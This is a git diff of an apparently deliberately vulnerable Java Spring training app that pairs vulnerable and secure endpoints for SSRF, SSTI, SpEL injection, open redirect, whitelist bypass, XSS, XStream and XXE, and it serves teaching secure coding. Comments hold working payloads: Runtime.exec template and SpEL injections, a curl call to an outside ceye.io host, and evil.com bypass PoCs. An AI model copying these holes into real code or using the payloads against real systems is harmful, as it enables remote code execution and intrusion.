+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/commonsHttpClient/sec")
+ public String commonsHttpClient(@RequestParam String url) {
- String url = request.getParameter("url");
- CloseableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet(url);
try {
- HttpResponse httpResponse = client.execute(httpGet); // send request
- BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
- StringBuffer result = new StringBuffer();
- String line = "";
- while ((line = rd.readLine()) != null) {
- result.append(line);
- }
- return result.toString();
- }catch (Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.commonHttpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
+ }
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is the useragent of browser.
+ *
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+ */
+ @GetMapping("/Jsoup/sec")
+ public String Jsoup(@RequestParam String url) {
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.Jsoup(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ *
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/IOUtils/sec")
+ public String IOUtils(String url) {
+ try {
+ SecurityUtil.startSSRFHook();
+ HttpUtils.IOUtils(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+ return "IOUtils ssrf test";
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102).
+ */
+ @GetMapping("/HttpSyncClients/vuln")
+ public String HttpSyncClients(@RequestParam("url") String url) {
+ return HttpUtils.HttpAsyncClients(url);
}
+
+
}
diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java
new file mode 100644
index 00000000..0c44eb93
--- /dev/null
+++ b/src/main/java/org/joychou/controller/SSTI.java
@@ -0,0 +1,39 @@
+package org.joychou.controller;
+
+
+import org.apache.velocity.VelocityContext;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import org.apache.velocity.app.Velocity;
+
+import java.io.StringWriter;
+
+@RestController
+@RequestMapping("/ssti")
+public class SSTI {
+
+ /**
+ * SSTI of Java velocity. The latest Velocity version still has this problem.
+ * Fix method: Avoid to use Velocity.evaluate method.
+ *
+ * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
+ * Open a calculator in MacOS.
+ *
+ * @param template exp
+ */
+ @GetMapping("/velocity")
+ public void velocity(String template) {
+ Velocity.init();
+
+ VelocityContext context = new VelocityContext();
+
+ context.put("author", "Elliot A.");
+ context.put("address", "217 E Broadway");
+ context.put("phone", "555-1337");
+
+ StringWriter swOut = new StringWriter();
+ Velocity.evaluate(context, swOut, "test", template);
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
new file mode 100644
index 00000000..698f4a7e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -0,0 +1,38 @@
+package org.joychou.controller;
+
+import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+
+/**
+ * SpEL Injection
+ *
+ * @author JoyChou @2019-01-17
+ */
+@RestController
+public class SpEL {
+
+ /**
+ * SpEL to RCE
+ * http://localhost:8080/spel/vul/?expression=xxx.
+ * xxx is urlencode(exp)
+ * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
+ */
+ @GetMapping("/spel/vuln")
+ public String rce(String expression) {
+ ExpressionParser parser = new SpelExpressionParser();
+ // fix method: SimpleEvaluationContext
+ return parser.parseExpression(expression).getValue().toString();
+ }
+
+ public static void main(String[] args) {
+ ExpressionParser parser = new SpelExpressionParser();
+ String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
+ String result = parser.parseExpression(expression).getValue().toString();
+ System.out.println(result);
+ }
+}
+
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
new file mode 100644
index 00000000..3b75c7d0
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Test.java
@@ -0,0 +1,36 @@
+package org.joychou.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+@RestController
+@RequestMapping("/test")
+public class Test {
+
+ @RequestMapping(value = "/")
+ public String Index(HttpServletResponse response, String empId) {
+
+ System.out.println(empId);
+ Cookie cookie = new Cookie("XSRF-TOKEN", "123");
+ cookie.setDomain("taobao.com");
+ cookie.setMaxAge(-1); // forever time
+ response.addCookie(cookie);
+ return "success";
+ }
+
+
+ @RequestMapping(value = "/aa")
+ public void test(HttpServletResponse response, String empId) {
+
+ System.out.println(empId);
+ Cookie cookie = new Cookie("XSRF-TOKEN", "123");
+ cookie.setDomain("taobao.com");
+ cookie.setMaxAge(-1); // forever time
+ response.addCookie(cookie);
+ }
+}
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index ce52477c..2b96322e 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -11,69 +11,83 @@
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
+import org.joychou.security.SecurityUtil;
+
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2017.12.28
- * @desc: Java url redirect
+ * The vulnerability code and security code of Java url redirect.
+ * The security code is checking whitelist of url redirect.
+ *
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2017.12.28
*/
-
@Controller
@RequestMapping("/urlRedirect")
public class URLRedirect {
/**
- * @disc: 存在URL重定向漏洞
- * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+ * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com
*/
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}
+
/**
- * @disc: 存在URL重定向漏洞
- * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+ * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com
*/
@RequestMapping("/setHeader")
@ResponseBody
- public static void setHeader(HttpServletRequest request, HttpServletResponse response){
+ public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}
+
/**
- * @disc: 存在URL重定向漏洞
- * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+ * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com
*/
@RequestMapping("/sendRedirect")
@ResponseBody
- public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
/**
- * @usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
- * @disc: 安全代码,没有URL重定向漏洞。
+ * Safe code. Because it can only jump according to the path, it cannot jump according to other urls.
+ * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
*/
@RequestMapping("/forward")
@ResponseBody
- public static void forward(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
- RequestDispatcher rd =request.getRequestDispatcher(url);
- try{
+ RequestDispatcher rd = request.getRequestDispatcher(url);
+ try {
rd.forward(request, response);
- }catch (Exception e) {
+ } catch (Exception e) {
e.printStackTrace();
}
}
- @RequestMapping("/test")
+
+ /**
+ * Safe code of sendRedirect.
+ * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
+ */
+ @RequestMapping("/sendRedirect/sec")
@ResponseBody
- public static String test() {
- return "test";
+ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
+ throws IOException {
+ String url = request.getParameter("url");
+ if (SecurityUtil.checkURL(url) == null) {
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("url forbidden");
+ return;
+ }
+ response.sendRedirect(url);
}
}
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index a63ae2cf..35d37576 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,102 +1,170 @@
package org.joychou.controller;
-import com.google.common.net.InternetDomainName;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
+import java.net.MalformedURLException;
import java.net.URL;
+import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
- * date: 2018年08月23日
- * author: JoyChou
- * desc: URL白名单绕过
+ * The vulnerability code and security code of Java url whitelist.
+ * The security code is checking url whitelist.
+ *
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2018.08.23
*/
-@Controller
+@RestController
@RequestMapping("/url")
public class URLWhiteList {
- private String urlwhitelist = "joychou.com";
+ private String domainwhitelist[] = {"joychou.org", "joychou.com"};
+ private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
+ /**
+ * bypass poc: bypassjoychou.org
+ * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
+ */
+ @GetMapping("/vuln/endsWith")
+ public String endsWith(@RequestParam("url") String url) {
- // 绕过方法bypassjoychou.com
- @RequestMapping("/endswith")
- @ResponseBody
- public String endsWith(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- System.out.println(url);
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
+ String host = SecurityUtil.gethost(url);
- if (rootDomain.endsWith(urlwhitelist)) {
- return "URL is legal";
- } else {
- return "URL is illegal";
+ for (String domain : domainwhitelist) {
+ if (host.endsWith(domain)) {
+ return "Good url.";
+ }
}
+ return "Bad url.";
}
- // 绕过方法joychou.com.bypass.com bypassjoychou.com
- @RequestMapping("/contains")
- @ResponseBody
- public String contains(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- if (rootDomain.contains(urlwhitelist)) {
- return "URL is legal";
- } else {
- return "URL is illegal";
+ /**
+ * It's the same with indexOf.
+ *
+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
+ * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
+ */
+ @GetMapping("/vuln/contains")
+ public String contains(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
+
+ for (String domain : domainwhitelist) {
+ if (host.contains(domain)) {
+ return "Good url.";
+ }
}
+ return "Bad url.";
}
- // 绕过方法bypassjoychou.com,代码功能和endsWith一样/
- @RequestMapping("/regex")
- @ResponseBody
- public String regex(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- Pattern p = Pattern.compile("joychou\\.com");
- Matcher m = p.matcher(rootDomain);
+ /**
+ * bypass poc: bypassjoychou.org. It's the same with endsWith.
+ * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
+ */
+ @GetMapping("/vuln/regex")
+ public String regex(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
+ Pattern p = Pattern.compile("joychou\\.org$");
+ Matcher m = p.matcher(host);
+
if (m.find()) {
- return "URL is legal";
+ return "Good url.";
} else {
- return "URL is illegal";
+ return "Bad url.";
}
}
- // 安全代码
- @RequestMapping("/seccode")
- @ResponseBody
- public String seccode(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
+ /**
+ * The bypass of using java.net.URL to getHost.
+ *
+ * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
+ * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
+ *
+ * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
+ */
+ @GetMapping("/vuln/url_bypass")
+ public String url_bypass(String url) throws MalformedURLException {
+
+ logger.info("url: " + url);
+
+ if (!SecurityUtil.isHttp(url)) {
+ return "Url is not http or https";
+ }
+
URL u = new URL(url);
- // 判断是否是http(s)协议
- if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
- return "URL is not http or https";
+ String host = u.getHost();
+ logger.info("host: " + host);
+
+ // endsWith .
+ for (String domain : domainwhitelist) {
+ if (host.endsWith("." + domain)) {
+ return "Good url.";
+ }
}
- String host = u.getHost().toLowerCase();
- // 如果非顶级域名后缀会报错
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- if (rootDomain.equals(urlwhitelist)) {
- return "URL is legal";
- } else {
- return "URL is illegal";
+ return "Bad url.";
+ }
+
+
+ /**
+ * First-level & Multi-level host whitelist.
+ * http://localhost:8080/url/sec?url=http://aa.joychou.org
+ */
+ @GetMapping("/sec")
+ public String sec(@RequestParam("url") String url) {
+
+ String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
+
+ if (!SecurityUtil.isHttp(url)) {
+ return "SecurityUtil is not http or https";
+ }
+
+ String host = SecurityUtil.gethost(url);
+
+ for (String whiteHost: whiteDomainlists){
+ if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
+ return url;
+ } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
+ return url;
+ }
}
+
+ return "Bad url.";
}
+ /**
+ * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
+ */
+ @GetMapping("/sec/array_indexOf")
+ public String sec_array_indexOf(@RequestParam("url") String url) {
+
+ // Define muti-level host whitelist.
+ ArrayList whiteDomainlists = new ArrayList<>();
+ whiteDomainlists.add("bbb.joychou.org");
+ whiteDomainlists.add("ccc.bbb.joychou.org");
+
+ if (!SecurityUtil.isHttp(url)) {
+ return "SecurityUtil is not http or https";
+ }
+
+ String host = SecurityUtil.gethost(url);
+
+ if (whiteDomainlists.indexOf(host) != -1) {
+ return "Good url.";
+ }
+ return "Bad url.";
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index 4f3bdff5..1c4b8732 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -2,32 +2,73 @@
import org.apache.commons.lang.StringUtils;
import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
-import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.01.02
- * @desc: xss vuls code
+ * @author JoyChou @2018-01-02
*/
-
@Controller
@RequestMapping("/xss")
public class XSS {
- @RequestMapping("/print")
+
+ /**
+ * Vuln Code.
+ * ReflectXSS
+ * http://localhost:8080/xss/reflect?xss=
+ *
+ * @param xss unescape string
+ */
+ @RequestMapping("/reflect")
@ResponseBody
- public static String ssrf_URLConnection(HttpServletRequest request)
- {
- String con = request.getParameter("con");
- return con;
+ public static String reflect(String xss) {
+ return xss;
+ }
- // fix code
- // return encode(con);
+ /**
+ * Vul Code.
+ * StoredXSS Step1
+ * http://localhost:8080/xss/stored/store?xss=
+ *
+ * @param xss unescape string
+ */
+ @RequestMapping("/stored/store")
+ @ResponseBody
+ public String store(String xss, HttpServletResponse response) {
+ Cookie cookie = new Cookie("xss", xss);
+ response.addCookie(cookie);
+ return "Set param into cookie";
+ }
+
+ /**
+ * Vul Code.
+ * StoredXSS Step2
+ * http://localhost:8080/xss/stored/show
+ *
+ * @param xss unescape string
+ */
+ @RequestMapping("/stored/show")
+ @ResponseBody
+ public String show(@CookieValue("xss") String xss) {
+ return xss;
+ }
+
+ /**
+ * safe Code.
+ * http://localhost:8080/xss/safe
+ */
+ @RequestMapping("/safe")
+ @ResponseBody
+ public static String safe(String xss) {
+ return encode(xss);
}
- public static String encode(String origin) {
+ private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java
new file mode 100644
index 00000000..62616e95
--- /dev/null
+++ b/src/main/java/org/joychou/controller/XStreamRce.java
@@ -0,0 +1,43 @@
+package org.joychou.controller;
+
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.io.xml.DomDriver;
+import org.joychou.dao.User;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+
+@RestController
+public class XStreamRce {
+
+ /**
+ * Fix method: update xstream to 1.4.11
+ * Xstream affected version: 1.4.10 or <= 1.4.6
+ * Set Content-Type: application/xml
+ *
+ * @author JoyChou @2019-07-26
+ */
+ @PostMapping("/xstream")
+ public String parseXml(HttpServletRequest request) throws Exception {
+ String xml = WebUtils.getRequestBody(request);
+ XStream xstream = new XStream(new DomDriver());
+ xstream.fromXML(xml);
+ return "xstream";
+ }
+
+ public static void main(String[] args) {
+ User user = new User();
+ user.setId(0);
+ user.setUsername("admin");
+
+ XStream xstream = new XStream(new DomDriver());
+ String xml = xstream.toXML(user); // Serialize
+ System.out.println(xml);
+
+ user = (User) xstream.fromXML(xml); // Deserialize
+ System.out.println(user.getId() + ": " + user.getUsername());
+ }
+}
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 1531ecf4..931a5688 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -1,58 +1,66 @@
package org.joychou.controller;
-
+import org.dom4j.DocumentHelper;
import org.dom4j.io.SAXReader;
-import org.springframework.stereotype.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
+
import javax.servlet.http.HttpServletRequest;
+
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.helpers.XMLReaderFactory;
import org.xml.sax.XMLReader;
+
import java.io.*;
+
import org.xml.sax.InputSource;
+
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.SAXParser;
+
import org.xml.sax.helpers.DefaultHandler;
import org.apache.commons.digester3.Digester;
import org.jdom2.input.SAXBuilder;
-
+import org.joychou.util.WebUtils;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2017.12.22
- * @desc: Java XXE 漏洞代码,修复代码在注释里
+ * Java xxe vuln and security code.
+ *
+ * @author JoyChou @2017-12-22
*/
-@Controller
+@RestController
@RequestMapping("/xxe")
public class XXE {
- @RequestMapping(value = "/xmlReader", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_xmlReader(HttpServletRequest request) {
+ private static Logger logger = LoggerFactory.getLogger(XXE.class);
+ private static String EXCEPT = "xxe except";
+
+ @PostMapping("/xmlReader/vuln")
+ public String xmlReaderVuln(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
- xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml
- return "ok";
+ xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
+ return "xmlReader xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_xmlReader_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
+ public String xmlReaderSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// fix code start
@@ -60,217 +68,211 @@ public String xxe_xmlReader_fix(HttpServletRequest request) {
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
- xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml
+ xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
- return "ok";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "xmlReader xxe security code";
}
- @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_SAXBuilder(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
+ public String SAXBuilderVuln(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXBuilder builder = new SAXBuilder();
- org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); // cause xxe
- return "ok";
+ // org.jdom2.Document document
+ builder.build(new InputSource(new StringReader(body))); // cause xxe
+ return "SAXBuilder xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_SAXBuilder_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
+ public String SAXBuilderSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) );
+ // org.jdom2.Document document
+ builder.build(new InputSource(new StringReader(body)));
- return "ok";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "SAXBuilder xxe security code";
}
- @RequestMapping(value = "/SAXReader", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_SAXReader(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
+ public String SAXReaderVuln(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXReader reader = new SAXReader();
- org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); // cause xxe
+ // org.dom4j.Document document
+ reader.read(new InputSource(new StringReader(body))); // cause xxe
- return "ok";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "SAXReader xxe vuln code";
}
- @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_SAXReader_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
+ public String SAXReaderSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) );
-
- return "ok";
+ // org.dom4j.Document document
+ reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "SAXReader xxe security code";
}
- @RequestMapping(value = "/SAXParser", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_SAXParser(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
+ public String SAXParserVuln(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
- parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
+ parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
- return "test";
+ return "SAXParser xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_SAXParser_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
+ public String SAXParserSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
- parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
- return "test";
+ parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "SAXParser xxe security code";
}
- @RequestMapping(value = "/Digester", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_Digester(HttpServletRequest request) {
+ @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
+ public String DigesterVuln(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
Digester digester = new Digester();
- digester.parse(new StringReader(xml_con)); // parse xml
-
- return "test";
+ digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "Digester xxe vuln code";
}
- @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_Digester_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
+ public String DigesterSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- digester.parse(new StringReader(xml_con)); // parse xml
+ digester.parse(new StringReader(body)); // parse xml
- return "test";
+ return "Digester xxe security code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- // 有回显的XXE
- @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST)
- @ResponseBody
- public String xxeDocumentBuilderReturn(HttpServletRequest request) {
+ // 有回显
+ @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
+ public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
-
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
- StringBuffer buf = new StringBuffer();
+ StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
